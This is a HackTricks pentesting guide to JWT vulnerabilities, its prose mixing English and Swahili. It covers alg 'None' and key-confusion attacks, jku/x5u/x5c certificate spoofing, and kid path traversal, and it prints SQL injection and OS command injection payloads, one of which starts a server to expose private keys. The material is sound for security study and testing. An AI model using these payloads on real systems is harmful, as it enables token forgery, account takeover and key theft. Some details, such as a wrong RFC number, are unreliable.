hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

282 lines
17 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kihpolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Quick Wins**
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Ikiwa una bahati, chombo kitapata kesi ambapo programu ya wavuti inakosea kuangalia JWT:
![](<../.gitbook/assets/image (935).png>)
Kisha, unaweza kutafuta ombi katika proxy yako au kutupa JWT iliyotumika kwa ombi hilo ukitumia jwt\_ tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
### Badilisha data bila kubadilisha chochote
You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to "admin" for example.
#### **Je, token inakaguliwa?**
To check if a JWT's signature is being verified:
* An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed.
* A change in the returned page also indicates verification.
* No change suggests no verification; this is when to experiment with tampering payload claims.
### Chanzo
It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history.
* Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
* Tokens originating server-side indicate a secure process.
### Muda
Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it.
### Brute-force HMAC siri
[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Badilisha algorithmu kuwa Hakuna
Set the algorithm used as "None" and remove the signature part.
Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None").
### Badilisha algorithmu RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.\
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### New public key inside the header
Mshambuliaji anaingiza funguo mpya kwenye kichwa cha token na seva inatumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
Hii inaweza kufanywa kwa kutumia nyongeza ya "JSON Web Tokens" ya Burp.\
(Tuma ombi kwa Repeater, ndani ya tab ya JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
### JWKS Spoofing
Maelekezo yanaelezea njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia madai ya kichwa "jku". Dhamira hii inapaswa kuunganisha na faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitishaji wa token.
* **Kuthibitisha Tokens zenye Kichwa "jku"**:
* Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.
* Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu ufuatiliaji wa trafiki.
* **Kufuatilia Maingiliano ya HTTP**:
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva za kupata funguo kutoka kwenye kiungo chako kilichotolewa.
* Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kuboresha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
* **Amri kwa `jwt_tool`**:
* Tekeleza amri ifuatayo ili kuiga hali hiyo na `jwt_tool`:
```bash
python3 jwt_tool.py JWT_HERE -X s
```
### Kid Issues Overview
Dhamira ya hiari inayojulikana kama `kid` inatumika kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo funguo nyingi zinapatikana kwa uthibitishaji wa saini ya token. Dhamira hii inasaidia katika kuchagua funguo sahihi kuthibitisha saini ya token.
#### Revealing Key through "kid"
Wakati dhamira ya `kid` inapatikana kwenye kichwa, inashauriwa kutafuta kwenye directory ya wavuti kwa faili inayolingana au tofauti zake. Kwa mfano, ikiwa `"kid":"key/12345"` imeainishwa, faili _/key/12345_ na _/key/12345.pem_ zinapaswa kutafutwa kwenye mzizi wa wavuti.
#### Path Traversal with "kid"
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kutengeneza JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la simetriki kwa ajili ya uzalishaji wa JWT.
#### SQL Injection kupitia "kid"
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye hifadhidata, kuingiza SQL kunaweza kuwezesha kwa kubadilisha payload ya `kid`. Mfano wa payload inayotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Mabadiliko haya yanawalazimisha kutumia funguo ya siri inayojulikana, `ATTACKER`, kwa ajili ya kusaini JWT.
#### OS Injection kupitia "kid"
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri kwenye parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
### x5u na jku
#### jku
jku inasimama kwa **JWK Set URL**.\
Ikiwa token inatumia dai la “**jku**” **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuelekeza kwenye URL inayoshikilia faili la JWKS ambalo lina Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti ambayo unaweza kufuatilia trafiki yake.
Kwanza unahitaji kuunda cheti kipya chenye funguo mpya za faragha na za umma.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti halali cha jku unaweza kupakua kile original na kubadilisha parameters zinazohitajika.
Unaweza kupata parameters "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
#### x5u
X.509 URL. URI inayopointia seti ya vyeti vya umma vya X.509 (kiwango cha muundo wa cheti) vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo **unaweza kubadilisha JWT**.
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za faragha zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.**
![](<../.gitbook/assets/image (956).png>)
Pia unaweza kutumia udhaifu hizi **kwa SSRFs**.
#### x5c
Parameter hii inaweza kuwa na **cheti katika base64**:
![](<../.gitbook/assets/image (1119).png>)
Ikiwa mshambuliaji **anazalisha cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichozalishwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Embedded Public Key (CVE-2018-0114)
Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo:
![](<../.gitbook/assets/image (624).png>)
Kwa kutumia skripti ifuatayo ya nodejs inawezekana kuzalisha funguo ya umma kutoka kwa data hiyo:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Ni possible kuunda funguo mpya za binafsi/za umma, kuingiza funguo mpya ya umma ndani ya token na kuitumia kuunda saini mpya:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Unaweza kupata "n" na "e" ukitumia hii nodejs script:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
### ES256: Kufichua funguo binafsi kwa kutumia nonce sawa
Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kutengeneza jwts mbili, funguo binafsi inaweza kurejeshwa.
Here is a example: [ECDSA: Kufichua funguo binafsi, ikiwa nonce sawa inatumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.\
However, imagine a situation where the maximum length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementing the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay).
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Other attacks
**Cross-service Relay Attacks**
Imekuwa ikionekana kwamba baadhi ya programu za wavuti zinategemea huduma ya JWT iliyoaminika kwa ajili ya utengenezaji na usimamizi wa token zao. Matukio yameandikwa ambapo token, iliyotengenezwa kwa mteja mmoja na huduma ya JWT, ilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kujaribu kupeleka token iliyopatikana katika ombi kwa lengo ili kuona ikiwa inakubaliwa.
* Tatizo muhimu linaweza kuonyeshwa na kukubaliwa kwa token yako, ambayo inaweza kuruhusu udanganyifu wa akaunti ya mtumiaji yeyote. Hata hivyo, inapaswa kuzingatiwa kwamba ruhusa ya majaribio mapana inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia katika eneo la sheria lenye kivuli.
**Expiry Check of Tokens**
The token's expiry is checked using the "exp" Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user's JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the "exp" claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an "exp" claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt\_tool's -R flag.
* A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
### Tools
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}